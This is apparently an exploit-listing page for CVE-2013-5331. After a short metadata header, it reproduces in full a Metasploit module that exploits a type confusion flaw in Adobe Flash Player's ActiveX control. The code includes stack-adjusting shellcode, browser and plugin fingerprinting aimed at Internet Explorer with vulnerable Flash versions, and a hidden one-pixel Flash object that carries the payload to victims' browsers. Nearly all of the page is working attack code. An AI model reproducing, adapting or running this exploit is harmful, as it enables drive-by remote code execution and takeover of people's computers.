Adobe Flash Player Type Confusion Remote Code Execution Exploit
CVE
Category
Price
Severity
CVE-2013-5331
CWE-119
$5,000
High
Author
Risk
Exploitation Type
Date
Zhiniang Peng and Chen Wu
High
Remote
2014-04-29
CPE
cpe:cpe:/a:adobe:flash_player
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2014040192 Below is a copy:##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player Type Confusion Remote Code Execution",
'Description' => %q{
This module exploits a type confusion vulnerability found in the ActiveX
component of Adobe Flash Player. This vulnerability was found exploited
in the wild in November 2013. This module has been tested successfully
on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170
over Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'bannedit', # Exploit in the wild discoverer, analysis and reporting
'juan vazquez' # msf module
],
'References' =>
[
[ 'CVE', '2013-5331' ],
[ 'OSVDB', '100774'],
[ 'BID', '64199'],
[ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ],
[ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ]
],
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true,
'PrependEncoder' => stack_adjust
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false,
'EXITFUNC' => "thread"
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Dec 10 2013",
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def stack_adjust
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
adjust
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end
print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
print_status("showme the money")
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
flash_payload = ""
get_payload(cli,target_info).unpack("V*").each do |i|
flash_payload << "0x#{i.to_s(16)},"
end
flash_payload.gsub!(/,$/, "")
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=flash_payload%>" />
<param name="Play" value="true" />
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
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